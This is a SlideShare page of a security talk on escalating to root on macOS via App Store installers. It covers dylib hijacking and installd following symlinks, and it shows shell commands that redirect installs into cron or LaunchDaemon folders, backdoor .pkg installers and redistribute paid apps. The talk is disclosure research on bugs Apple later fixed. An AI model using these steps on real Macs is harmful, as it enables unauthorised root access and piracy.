SlideShare uma empresa Scribd logo
1 de 52
Baixar para ler offline
macOS - getting root with
benign App Store apps
Csaba Fitzl
Twitter: @theevilbit
whoami
• red teamer, ex blue teamer
• kex - kernel exploitation python toolkit
• husband, father
• hiking
• yoga
the story
agenda
• dylib hijacking recap
• subverting the installation process
• developing an App
• High Sierra privilege escalation
• modifying installers
• redistributing paid apps
• Mojave privilege escalation
in the beginning…
dylib hijacking
type 1: weak loading of dylibs
• LC_LOAD_WEAK_DYLIB function:
• let’s try to load the specified dylib
• dylib not found? -> who cares? not a problem! let’s still load that app
• exploit: Put there the missing dylib
type 2: rpath (run-path dependent) dylibs
• function:
• let me try to find the dylib on every search @rpath
• I will use the first one
• exploit:
• if the search path points to non existent location: put there your dylib
finding vulnerable apps
• download Patrick’s DHS
• run
• profit :)
• alternative: start app via CLI
• export DYLD_PRINT_RPATHS="1"
exploiting dylib vulnerabilities
compile
create code
fix dylib profit
other cases
• Microsoft Office: requires root privileges -> MS: not a security bug
• Avira: requires root privileges -> fixed with low priority
• many more not fixed for years…
the privilege problem
application’s folders permission
• 2 main scenarios:
• the application’s directory is owned by the user
• the application’s directory is owned by ‘root’
how do we end up there?
root
user
yes
can we bypass it?
tools for monitoring
FireEye - Monitor.app
• ~Sysinternal’s Procmon
• events
• process
• network
• file
Objective-See - ProcInfo(Example)
• open source process monitoring library
• logs:
• PID
• arguments
• signature info
• user
• etc…
2019-03-11 21:18:05.770 procInfoExample[32903:4117446] process start:
pid: 32906
path: /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/
efw_cache_update
user: 0
args: (
"/System/Library/PrivateFrameworks/PackageKit.framework/Resources/efw_cache_update",
"/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/C/PKInstallSandboxManager/
BC005493-3176-43E4-A1F0-82D38C6431A3.activeSandbox/Root/Applications/Parcel.app"
)
ancestors: (
9103,
1
)
signing info: {
signatureAuthorities = (
"Software Signing",
"Apple Code Signing Certification Authority",
"Apple Root CA"
);
signatureIdentifier = "com.apple.efw_cache_update";
signatureSigner = 1;
signatureStatus = 0;
}
binary:
name: efw_cache_update
path: /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/
efw_cache_update
attributes: {
NSFileCreationDate = "2018-11-30 07:31:32 +0000";
NSFileExtensionHidden = 0;
NSFileGroupOwnerAccountID = 0;
NSFileGroupOwnerAccountName = wheel;
NSFileHFSCreatorCode = 0;
NSFileHFSTypeCode = 0;
NSFileModificationDate = "2018-11-30 07:31:32 +0000";
NSFileOwnerAccountID = 0;
NSFileOwnerAccountName = root;
NSFilePosixPermissions = 493;
NSFileReferenceCount = 1;
NSFileSize = 43040;
NSFileSystemFileNumber = 4214431;
NSFileSystemNumber = 16777220;
NSFileType = NSFileTypeRegular;
}
signing info: (null)
fs_usage
• file system events
• extremely detailed
bypassing root permissions
case #1 -
subverting the installation process
dropping files in the applications’ folder
#1 record folder structure
#3 recreate folders
#2 delete the app
#5 :)
#4 reinstall the app
dropping files in the applications’ folder
• fixed (more on that later)
• write to /Applications ~having write access to Program Files in Windows,
but:
• Windows: Admin MEDIUM -> Admin HIGH *is not* a security
boundary
• macOS: Admin -> root *is* a security boundary
Can I do something else?
What about symlinks?
intermezzo
the discovery: symlinks are followed
• installd runs as root
• installd follows symlinks
• installd drop files where symlink points -> drop files (almost anywhere)
dropping App Store files (almost) anywhere
#1 record folder structure
#2 delete the app
#6 :)
#5 reinstall the app
#4 create symlink
ln -s /opt /Applications/Example.app/Contents/MacOS
#3 recreate folders
/Applications/Example.app/Contents
what can’t we do?
• write files to SIP protected places
• overwrite specific files
yes
can I get root if I can drop files anywhere?
privilege escalation ideas
• file in the App Store has the same name as one that runs as root ->
replace
• file in the App Store app named as root, and it’s a cronjob task -> place
into /usr/lib/cron/tabs
• if no such files in the App Store -> create your own
• write a ‘malicious’ dylib and drop somewhere, where it will be loaded by
an App running as root
intermezzo
Unlikely to find a file in the
store
I’m lazy, I will just report it to
Apple
The vetting process will find a
malicious App
sigh … sigh … sigh
try harder
will create an App
privilege escalation on
High Sierra
planning
• idea: let’s drop a cronjob file
• need a valid reason -> crontab editor
• need a Developer ID - other than my
• language?
• SWIFT vs. Objective-C
• learn SWIFT (CBT)
myFraction = [[Fraction alloc] init];
pushing apps to the store
• App Store Connect
• Bundle ID
• Create App
• Populate details
• Upload via Xcode
• Submit
the time issue
• 1 mistake = cost of ~24 hours
• my case: 1st push - wait 24 hours - reject - no proper closing - fix - 2nd
push - wait 24 hours - approved - priv esc doesn’t work on Mojave :( -
try on High Sierra - minimum OS is Mojave - fix - 3rd push - wait 24
hours - approve - works on High Sierra :)
Crontab Creator
privilege escalation
#1 the file we need - root
#5 Terminal runs as root
#3 install the app
#2 follow previous steps to redirect the file
cd /Applications/
mkdir "Crontab Creator.app"
cd Crontab Creator.app/
mkdir Contents
cd Contents/
ln -s /usr/lib/cron/tabs/ Resources
#4 create script file
cd /Applications/
mkdir Scripts
cd Scripts/
echo /Applications/Utilities/Terminal.app/
Contents/MacOS/Terminal > backup-apps.sh
chmod +x backup-apps.sh
the fix
• POC stopped working
• never really done proper verification
• more details later
demo - Crontab Creator &
privilege escalation
bypassing root permissions
case #2 -
infecting installers
infecting installers
• not really a bypass (user has to authenticate)
• will break the *.pkg file’s signature (Gatekeeper will block!)
• need a way to get the infected *.pkg file to the victim (e.g.: MITM)
• breaks the App’s signature - no problem as GateKeeper will not verify (it
will verify the pkg only)
infecting an installer
#1 grab a pkg file
#2 unpack the pkg file
pkgutil --expand example.pkg myfolder Contents
#3 decompress payload
tar xvf embedded.pkg/Payload
#4 embed your file
$ mkdir Example.app/Contents/test
$ echo aaaa > Example.app/Contents/test/a
#5 recompress
find ./Example.app | cpio -o --format odc | gzip -c > Payload
#6 move and delete files
pkgutil --flatten myfolder/ mypackage.pkg
#7 repackage pkg
redistributing paid apps
redistribution
• grab the pkg from the App Store (AppStoreExtract)
• redistribute
• will run - no verification
• in-app purchases won’t work
privilege escalation on
Mojave
the improper fix
• early 2019 - realise I should do a better verification of the fix
• no more access to crontab folder
• accidental fix?
• still can redirect file write to sensitive locations (e.g.: LaunchDaemons)
2nd poc - StartUp
• same approach (example files)
• targeting LaunchDameon
• send 2nd report to Apple
demo - StartUp & privilege
escalation
the security enhancement
(the final fix)
Mojave 10.14.5
• does fix the vulnerability in a proper
way
• deletes your files and then moves the
App
• can no longer drop files into the App’s
folder
closing thoughts
thank you
Csaba Fitzl
Twitter: @theevilbit
Credits
• icon: Pixel Buddha https://www.flaticon.com/authors/pixel-buddha
• dylib hijacking:
• Patrick Wardle https://www.virusbulletin.com/virusbulletin/2015/03/
dylib-hijacking-os-x

Mais conteúdo relacionado

Mais procurados

The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting ClassThe Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting ClassRob Fuller
 
Windows attacks - AT is the new black
Windows attacks - AT is the new blackWindows attacks - AT is the new black
Windows attacks - AT is the new blackChris Gates
 
SANS DFIR Prague: PowerShell & WMI
SANS DFIR Prague: PowerShell & WMISANS DFIR Prague: PowerShell & WMI
SANS DFIR Prague: PowerShell & WMIJoe Slowik
 
DevOops & How I hacked you DevopsDays DC June 2015
DevOops & How I hacked you DevopsDays DC June 2015DevOops & How I hacked you DevopsDays DC June 2015
DevOops & How I hacked you DevopsDays DC June 2015Chris Gates
 
Windows Attacks AT is the new black
Windows Attacks   AT is the new blackWindows Attacks   AT is the new black
Windows Attacks AT is the new blackRob Fuller
 
DevOOPS: Attacks and Defenses for DevOps Toolchains
DevOOPS: Attacks and Defenses for DevOps ToolchainsDevOOPS: Attacks and Defenses for DevOps Toolchains
DevOOPS: Attacks and Defenses for DevOps ToolchainsChris Gates
 
How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)Larry Cashdollar
 
Gianluca Varisco - DevOoops (Increase awareness around DevOps infra security)
Gianluca Varisco - DevOoops (Increase awareness around DevOps infra security)Gianluca Varisco - DevOoops (Increase awareness around DevOps infra security)
Gianluca Varisco - DevOoops (Increase awareness around DevOps infra security)Codemotion
 
Attacking Oracle with the Metasploit Framework
Attacking Oracle with the Metasploit FrameworkAttacking Oracle with the Metasploit Framework
Attacking Oracle with the Metasploit FrameworkChris Gates
 
Building Better Backdoors with WMI - DerbyCon 2017
Building Better Backdoors with WMI - DerbyCon 2017Building Better Backdoors with WMI - DerbyCon 2017
Building Better Backdoors with WMI - DerbyCon 2017Alexander Polce Leary
 
Devoops: DoJ Annual Cybersecurity Training Symposium Edition 2015
Devoops: DoJ Annual Cybersecurity Training Symposium Edition 2015Devoops: DoJ Annual Cybersecurity Training Symposium Edition 2015
Devoops: DoJ Annual Cybersecurity Training Symposium Edition 2015Chris Gates
 
Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)
Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)
Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)Rob Fuller
 
IIS Tilde Enumeration Vulnerability
IIS Tilde Enumeration VulnerabilityIIS Tilde Enumeration Vulnerability
IIS Tilde Enumeration VulnerabilityMicah Hoffman
 
Catch Me If You Can: PowerShell Red vs Blue
Catch Me If You Can: PowerShell Red vs BlueCatch Me If You Can: PowerShell Red vs Blue
Catch Me If You Can: PowerShell Red vs BlueWill Schroeder
 
Appsec DC - wXf -2010
Appsec DC - wXf  -2010Appsec DC - wXf  -2010
Appsec DC - wXf -2010Chris Gates
 
Defcon - Veil-Pillage
Defcon - Veil-PillageDefcon - Veil-Pillage
Defcon - Veil-PillageVeilFramework
 
PowerUp - Automating Windows Privilege Escalation
PowerUp - Automating Windows Privilege EscalationPowerUp - Automating Windows Privilege Escalation
PowerUp - Automating Windows Privilege EscalationWill Schroeder
 
ColdFusion for Penetration Testers
ColdFusion for Penetration TestersColdFusion for Penetration Testers
ColdFusion for Penetration TestersChris Gates
 

Mais procurados (20)

The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting ClassThe Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
 
Windows attacks - AT is the new black
Windows attacks - AT is the new blackWindows attacks - AT is the new black
Windows attacks - AT is the new black
 
SANS DFIR Prague: PowerShell & WMI
SANS DFIR Prague: PowerShell & WMISANS DFIR Prague: PowerShell & WMI
SANS DFIR Prague: PowerShell & WMI
 
DevOops & How I hacked you DevopsDays DC June 2015
DevOops & How I hacked you DevopsDays DC June 2015DevOops & How I hacked you DevopsDays DC June 2015
DevOops & How I hacked you DevopsDays DC June 2015
 
Windows Attacks AT is the new black
Windows Attacks   AT is the new blackWindows Attacks   AT is the new black
Windows Attacks AT is the new black
 
DevOOPS: Attacks and Defenses for DevOps Toolchains
DevOOPS: Attacks and Defenses for DevOps ToolchainsDevOOPS: Attacks and Defenses for DevOps Toolchains
DevOOPS: Attacks and Defenses for DevOps Toolchains
 
How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)
 
Gianluca Varisco - DevOoops (Increase awareness around DevOps infra security)
Gianluca Varisco - DevOoops (Increase awareness around DevOps infra security)Gianluca Varisco - DevOoops (Increase awareness around DevOps infra security)
Gianluca Varisco - DevOoops (Increase awareness around DevOps infra security)
 
Attacking Oracle with the Metasploit Framework
Attacking Oracle with the Metasploit FrameworkAttacking Oracle with the Metasploit Framework
Attacking Oracle with the Metasploit Framework
 
Wielding a cortana
Wielding a cortanaWielding a cortana
Wielding a cortana
 
Building Better Backdoors with WMI - DerbyCon 2017
Building Better Backdoors with WMI - DerbyCon 2017Building Better Backdoors with WMI - DerbyCon 2017
Building Better Backdoors with WMI - DerbyCon 2017
 
Hacking Wordpress Plugins
Hacking Wordpress PluginsHacking Wordpress Plugins
Hacking Wordpress Plugins
 
Devoops: DoJ Annual Cybersecurity Training Symposium Edition 2015
Devoops: DoJ Annual Cybersecurity Training Symposium Edition 2015Devoops: DoJ Annual Cybersecurity Training Symposium Edition 2015
Devoops: DoJ Annual Cybersecurity Training Symposium Edition 2015
 
Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)
Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)
Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)
 
IIS Tilde Enumeration Vulnerability
IIS Tilde Enumeration VulnerabilityIIS Tilde Enumeration Vulnerability
IIS Tilde Enumeration Vulnerability
 
Catch Me If You Can: PowerShell Red vs Blue
Catch Me If You Can: PowerShell Red vs BlueCatch Me If You Can: PowerShell Red vs Blue
Catch Me If You Can: PowerShell Red vs Blue
 
Appsec DC - wXf -2010
Appsec DC - wXf  -2010Appsec DC - wXf  -2010
Appsec DC - wXf -2010
 
Defcon - Veil-Pillage
Defcon - Veil-PillageDefcon - Veil-Pillage
Defcon - Veil-Pillage
 
PowerUp - Automating Windows Privilege Escalation
PowerUp - Automating Windows Privilege EscalationPowerUp - Automating Windows Privilege Escalation
PowerUp - Automating Windows Privilege Escalation
 
ColdFusion for Penetration Testers
ColdFusion for Penetration TestersColdFusion for Penetration Testers
ColdFusion for Penetration Testers
 

Semelhante a Getting root with benign app store apps vsecurityfest

macOS Vulnerabilities Hiding in Plain Sight
macOS Vulnerabilities Hiding in Plain SightmacOS Vulnerabilities Hiding in Plain Sight
macOS Vulnerabilities Hiding in Plain SightCsaba Fitzl
 
DevOps on AWS: Accelerating Software Delivery with the AWS Developer Tools
DevOps on AWS: Accelerating Software Delivery with the AWS Developer ToolsDevOps on AWS: Accelerating Software Delivery with the AWS Developer Tools
DevOps on AWS: Accelerating Software Delivery with the AWS Developer ToolsAmazon Web Services
 
Continuous Delivery, Continuous Integration
Continuous Delivery, Continuous Integration Continuous Delivery, Continuous Integration
Continuous Delivery, Continuous Integration Amazon Web Services
 
Operating Docker
Operating DockerOperating Docker
Operating DockerJen Andre
 
Manual JavaScript Analysis Is A Bug
Manual JavaScript Analysis Is A BugManual JavaScript Analysis Is A Bug
Manual JavaScript Analysis Is A BugLewis Ardern
 
Defcon 23 - hariri spelman gorenc - abusing adobe readers java sc
Defcon 23 - hariri spelman gorenc - abusing adobe readers java scDefcon 23 - hariri spelman gorenc - abusing adobe readers java sc
Defcon 23 - hariri spelman gorenc - abusing adobe readers java scFelipe Prado
 
Cloud Foundry Summit 2015: 10 common errors when pushing apps to cloud foundry
Cloud Foundry Summit 2015: 10 common errors when pushing apps to cloud foundryCloud Foundry Summit 2015: 10 common errors when pushing apps to cloud foundry
Cloud Foundry Summit 2015: 10 common errors when pushing apps to cloud foundryJack-Junjie Cai
 
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...CODE BLUE
 
Mitigating Exploits Using Apple's Endpoint Security
Mitigating Exploits Using Apple's Endpoint SecurityMitigating Exploits Using Apple's Endpoint Security
Mitigating Exploits Using Apple's Endpoint SecurityCsaba Fitzl
 
20+ Ways to Bypass Your macOS Privacy Mechanisms
20+ Ways to Bypass Your macOS Privacy Mechanisms20+ Ways to Bypass Your macOS Privacy Mechanisms
20+ Ways to Bypass Your macOS Privacy MechanismsSecuRing
 
Fix me if you can - DrupalCon prague
Fix me if you can - DrupalCon pragueFix me if you can - DrupalCon prague
Fix me if you can - DrupalCon praguehernanibf
 
AWS re:Invent 2016: DevOps on AWS: Accelerating Software Delivery with the AW...
AWS re:Invent 2016: DevOps on AWS: Accelerating Software Delivery with the AW...AWS re:Invent 2016: DevOps on AWS: Accelerating Software Delivery with the AW...
AWS re:Invent 2016: DevOps on AWS: Accelerating Software Delivery with the AW...Amazon Web Services
 
Container Runtime Security with Falco
Container Runtime Security with FalcoContainer Runtime Security with Falco
Container Runtime Security with FalcoMichael Ducy
 
Creating Developer-Friendly Docker Containers with Chaperone
Creating Developer-Friendly Docker Containers with ChaperoneCreating Developer-Friendly Docker Containers with Chaperone
Creating Developer-Friendly Docker Containers with ChaperoneGary Wisniewski
 
DevOops Redux Ken Johnson Chris Gates - AppSec USA 2016
DevOops Redux Ken Johnson Chris Gates  - AppSec USA 2016DevOops Redux Ken Johnson Chris Gates  - AppSec USA 2016
DevOops Redux Ken Johnson Chris Gates - AppSec USA 2016Chris Gates
 
Resisting App Pirates
Resisting App PiratesResisting App Pirates
Resisting App Piratesripeapps
 
iOS Application Security
iOS Application SecurityiOS Application Security
iOS Application SecurityEgor Tolstoy
 
Invoke-Obfuscation nullcon 2017
Invoke-Obfuscation nullcon 2017Invoke-Obfuscation nullcon 2017
Invoke-Obfuscation nullcon 2017Daniel Bohannon
 
Custom Tile Generation in PCF
Custom Tile Generation in PCFCustom Tile Generation in PCF
Custom Tile Generation in PCFVMware Tanzu
 

Semelhante a Getting root with benign app store apps vsecurityfest (20)

macOS Vulnerabilities Hiding in Plain Sight
macOS Vulnerabilities Hiding in Plain SightmacOS Vulnerabilities Hiding in Plain Sight
macOS Vulnerabilities Hiding in Plain Sight
 
DevOps on AWS: Accelerating Software Delivery with the AWS Developer Tools
DevOps on AWS: Accelerating Software Delivery with the AWS Developer ToolsDevOps on AWS: Accelerating Software Delivery with the AWS Developer Tools
DevOps on AWS: Accelerating Software Delivery with the AWS Developer Tools
 
Continuous Delivery, Continuous Integration
Continuous Delivery, Continuous Integration Continuous Delivery, Continuous Integration
Continuous Delivery, Continuous Integration
 
Operating Docker
Operating DockerOperating Docker
Operating Docker
 
Manual JavaScript Analysis Is A Bug
Manual JavaScript Analysis Is A BugManual JavaScript Analysis Is A Bug
Manual JavaScript Analysis Is A Bug
 
Defcon 23 - hariri spelman gorenc - abusing adobe readers java sc
Defcon 23 - hariri spelman gorenc - abusing adobe readers java scDefcon 23 - hariri spelman gorenc - abusing adobe readers java sc
Defcon 23 - hariri spelman gorenc - abusing adobe readers java sc
 
Cloud Foundry Summit 2015: 10 common errors when pushing apps to cloud foundry
Cloud Foundry Summit 2015: 10 common errors when pushing apps to cloud foundryCloud Foundry Summit 2015: 10 common errors when pushing apps to cloud foundry
Cloud Foundry Summit 2015: 10 common errors when pushing apps to cloud foundry
 
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
 
Mitigating Exploits Using Apple's Endpoint Security
Mitigating Exploits Using Apple's Endpoint SecurityMitigating Exploits Using Apple's Endpoint Security
Mitigating Exploits Using Apple's Endpoint Security
 
20+ Ways to Bypass Your macOS Privacy Mechanisms
20+ Ways to Bypass Your macOS Privacy Mechanisms20+ Ways to Bypass Your macOS Privacy Mechanisms
20+ Ways to Bypass Your macOS Privacy Mechanisms
 
Scrapy
ScrapyScrapy
Scrapy
 
Fix me if you can - DrupalCon prague
Fix me if you can - DrupalCon pragueFix me if you can - DrupalCon prague
Fix me if you can - DrupalCon prague
 
AWS re:Invent 2016: DevOps on AWS: Accelerating Software Delivery with the AW...
AWS re:Invent 2016: DevOps on AWS: Accelerating Software Delivery with the AW...AWS re:Invent 2016: DevOps on AWS: Accelerating Software Delivery with the AW...
AWS re:Invent 2016: DevOps on AWS: Accelerating Software Delivery with the AW...
 
Container Runtime Security with Falco
Container Runtime Security with FalcoContainer Runtime Security with Falco
Container Runtime Security with Falco
 
Creating Developer-Friendly Docker Containers with Chaperone
Creating Developer-Friendly Docker Containers with ChaperoneCreating Developer-Friendly Docker Containers with Chaperone
Creating Developer-Friendly Docker Containers with Chaperone
 
DevOops Redux Ken Johnson Chris Gates - AppSec USA 2016
DevOops Redux Ken Johnson Chris Gates  - AppSec USA 2016DevOops Redux Ken Johnson Chris Gates  - AppSec USA 2016
DevOops Redux Ken Johnson Chris Gates - AppSec USA 2016
 
Resisting App Pirates
Resisting App PiratesResisting App Pirates
Resisting App Pirates
 
iOS Application Security
iOS Application SecurityiOS Application Security
iOS Application Security
 
Invoke-Obfuscation nullcon 2017
Invoke-Obfuscation nullcon 2017Invoke-Obfuscation nullcon 2017
Invoke-Obfuscation nullcon 2017
 
Custom Tile Generation in PCF
Custom Tile Generation in PCFCustom Tile Generation in PCF
Custom Tile Generation in PCF
 

Último

Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsJoaquim Jorge
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FMESafe Software
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processorsdebabhi2
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...Martijn de Jong
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProduct Anonymous
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationRadu Cotescu
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...apidays
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAndrey Devyatkin
 
Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024The Digital Insurer
 
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodJuan lago vázquez
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobeapidays
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdflior mazor
 
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingEdi Saputra
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)Gabriella Davis
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherRemote DBA Services
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century educationjfdjdjcjdnsjd
 

Último (20)

Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024
 
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdf
 
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
